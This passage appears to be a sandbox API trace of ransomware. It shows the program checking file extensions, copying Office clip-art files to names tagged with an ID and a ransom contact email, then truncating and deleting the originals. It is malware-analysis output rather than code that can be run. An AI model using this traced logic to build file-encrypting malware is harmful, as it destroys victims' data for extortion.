	[0095.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0095.836] lstrlenW (lpString=".dbf") returned 4
	[0095.836] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0095.836] lstrlenW (lpString=".1cd") returned 4
	[0095.836] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0095.837] lstrlenW (lpString=".jpg") returned 4
	[0095.837] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.837] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0095.837] lstrlenW (lpString="IN00956_.WMF") returned 12
	[0095.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0095.837] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=1256) returned 1
	[0095.837] CloseHandle (hObject=0x2bc) returned 1
	[0095.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf")) returned 0x220
	[0095.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0095.837] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.837] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0095.838] GetLastError () returned 0x0
	[0095.838] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x4e8, lpOverlapped=0x0) returned 1
	[0095.839] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0095.840] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.840] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0095.840] SetEndOfFile (hFile=0x398) returned 1
	[0095.840] CloseHandle (hObject=0x398) returned 1
	[0095.840] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.841] SetEndOfFile (hFile=0x2bc) returned 1
	[0095.841] CloseHandle (hObject=0x2bc) returned 1
	[0095.841] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0095.842] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf")) returned 1
	[0095.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0095.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0095.842] lstrlenW (lpString=".doc") returned 4
	[0095.842] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.842] lstrlenW (lpString=".docx") returned 5
	[0095.842] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.842] lstrlenW (lpString=".pdf") returned 4
	[0095.842] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.842] lstrlenW (lpString=".xls") returned 4
	[0095.842] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.842] lstrlenW (lpString=".xlsx") returned 5
	[0095.842] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.842] lstrlenW (lpString=".ppt") returned 4
	[0095.842] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0095.842] lstrlenW (lpString=".zip") returned 4
	[0095.842] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.842] lstrlenW (lpString=".rar") returned 4
	[0095.842] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.842] lstrlenW (lpString=".bz2") returned 4
	[0095.842] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.842] lstrlenW (lpString=".7z") returned 3
	[0095.842] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0095.842] lstrlenW (lpString=".dbf") returned 4
	[0095.843] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0095.843] lstrlenW (lpString=".1cd") returned 4
	[0095.843] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0095.843] lstrlenW (lpString=".jpg") returned 4
	[0095.843] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0095.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0095.843] lstrlenW (lpString=".doc") returned 4
	[0095.843] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.843] lstrlenW (lpString=".docx") returned 5
	[0095.843] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.843] lstrlenW (lpString=".pdf") returned 4
	[0095.843] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.843] lstrlenW (lpString=".xls") returned 4
	[0095.843] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.843] lstrlenW (lpString=".xlsx") returned 5
	[0095.843] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.843] lstrlenW (lpString=".ppt") returned 4
	[0095.843] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0095.843] lstrlenW (lpString=".zip") returned 4
	[0095.843] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.843] lstrlenW (lpString=".rar") returned 4
	[0095.843] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.843] lstrlenW (lpString=".bz2") returned 4
	[0095.843] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.843] lstrlenW (lpString=".7z") returned 3
	[0095.843] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0095.843] lstrlenW (lpString=".dbf") returned 4
	[0095.843] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0095.843] lstrlenW (lpString=".1cd") returned 4
	[0095.843] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0095.844] lstrlenW (lpString=".jpg") returned 4
	[0095.844] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.844] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0095.844] lstrlenW (lpString="IN00957_.WMF") returned 12
	[0095.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0095.844] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2944) returned 1
	[0095.844] CloseHandle (hObject=0x2bc) returned 1
	[0095.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf")) returned 0x220
	[0095.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0095.844] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.845] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0095.845] GetLastError () returned 0x0
	[0095.845] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0xb80, lpOverlapped=0x0) returned 1
	[0095.846] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xb90, lpOverlapped=0x0) returned 1
	[0095.847] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.847] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0095.847] SetEndOfFile (hFile=0x398) returned 1
	[0095.848] CloseHandle (hObject=0x398) returned 1
	[0095.848] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.848] SetEndOfFile (hFile=0x2bc) returned 1
	[0095.848] CloseHandle (hObject=0x2bc) returned 1
	[0095.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0095.849] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf")) returned 1
	[0095.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0095.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0095.849] lstrlenW (lpString=".doc") returned 4
	[0095.849] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.849] lstrlenW (lpString=".docx") returned 5
	[0095.849] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.849] lstrlenW (lpString=".pdf") returned 4
	[0095.849] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.849] lstrlenW (lpString=".xls") returned 4
	[0095.849] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.849] lstrlenW (lpString=".xlsx") returned 5
	[0095.849] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.849] lstrlenW (lpString=".ppt") returned 4
	[0095.849] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0095.849] lstrlenW (lpString=".zip") returned 4
	[0095.849] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.849] lstrlenW (lpString=".rar") returned 4
	[0095.849] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.849] lstrlenW (lpString=".bz2") returned 4
	[0095.850] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.850] lstrlenW (lpString=".7z") returned 3
	[0095.850] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0095.850] lstrlenW (lpString=".dbf") returned 4
	[0095.850] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0095.850] lstrlenW (lpString=".1cd") returned 4
	[0095.850] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0095.850] lstrlenW (lpString=".jpg") returned 4
	[0095.850] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0095.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0095.850] lstrlenW (lpString=".doc") returned 4
	[0095.850] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.850] lstrlenW (lpString=".docx") returned 5
	[0095.850] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.850] lstrlenW (lpString=".pdf") returned 4
	[0095.850] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.850] lstrlenW (lpString=".xls") returned 4
	[0095.850] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.850] lstrlenW (lpString=".xlsx") returned 5
	[0095.850] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.850] lstrlenW (lpString=".ppt") returned 4
	[0095.850] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0095.850] lstrlenW (lpString=".zip") returned 4
	[0095.850] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.850] lstrlenW (lpString=".rar") returned 4
	[0095.850] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.850] lstrlenW (lpString=".bz2") returned 4
	[0095.850] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.850] lstrlenW (lpString=".7z") returned 3
	[0095.850] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0095.850] lstrlenW (lpString=".dbf") returned 4
	[0095.851] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0095.851] lstrlenW (lpString=".1cd") returned 4
	[0095.851] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0095.851] lstrlenW (lpString=".jpg") returned 4
	[0095.851] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.851] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0095.851] lstrlenW (lpString="J0075478.GIF") returned 12
	[0095.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0095.851] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=1220) returned 1
	[0095.851] CloseHandle (hObject=0x2bc) returned 1
	[0095.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif")) returned 0x220
	[0095.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0095.852] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.852] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0095.852] GetLastError () returned 0x0
	[0095.852] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x4c4, lpOverlapped=0x0) returned 1
	[0095.853] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x4d0, lpOverlapped=0x0) returned 1
	[0095.854] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.854] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0095.854] SetEndOfFile (hFile=0x398) returned 1
	[0095.855] CloseHandle (hObject=0x398) returned 1
	[0095.855] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.855] SetEndOfFile (hFile=0x2bc) returned 1
	[0095.855] CloseHandle (hObject=0x2bc) returned 1
	[0095.855] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0095.856] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif")) returned 1
	[0095.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0095.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0095.856] lstrlenW (lpString=".doc") returned 4
	[0095.856] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0095.856] lstrlenW (lpString=".docx") returned 5
	[0095.856] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1
	[0095.856] lstrlenW (lpString=".pdf") returned 4
	[0095.856] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0095.856] lstrlenW (lpString=".xls") returned 4
	[0095.856] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0095.856] lstrlenW (lpString=".xlsx") returned 5
	[0095.856] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1
	[0095.856] lstrlenW (lpString=".ppt") returned 4
	[0095.856] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0095.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0095.856] lstrlenW (lpString=".zip") returned 4
	[0095.856] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0095.856] lstrlenW (lpString=".rar") returned 4
	[0095.856] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0095.856] lstrlenW (lpString=".bz2") returned 4
	[0095.856] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0095.856] lstrlenW (lpString=".7z") returned 3
	[0095.856] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0095.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0095.857] lstrlenW (lpString=".dbf") returned 4
	[0095.857] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0095.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0095.857] lstrlenW (lpString=".1cd") returned 4
	[0095.857] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0095.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0095.857] lstrlenW (lpString=".jpg") returned 4
	[0095.857] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0095.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0095.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0095.857] lstrlenW (lpString=".doc") returned 4
	[0095.857] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0095.857] lstrlenW (lpString=".docx") returned 5
	[0095.857] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1
	[0095.857] lstrlenW (lpString=".pdf") returned 4
	[0095.857] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0095.857] lstrlenW (lpString=".xls") returned 4
	[0095.857] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0095.857] lstrlenW (lpString=".xlsx") returned 5
	[0095.857] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1
	[0095.857] lstrlenW (lpString=".ppt") returned 4
	[0095.857] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0095.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0095.858] lstrlenW (lpString=".zip") returned 4
	[0095.858] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0095.858] lstrlenW (lpString=".rar") returned 4
	[0095.858] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0095.858] lstrlenW (lpString=".bz2") returned 4
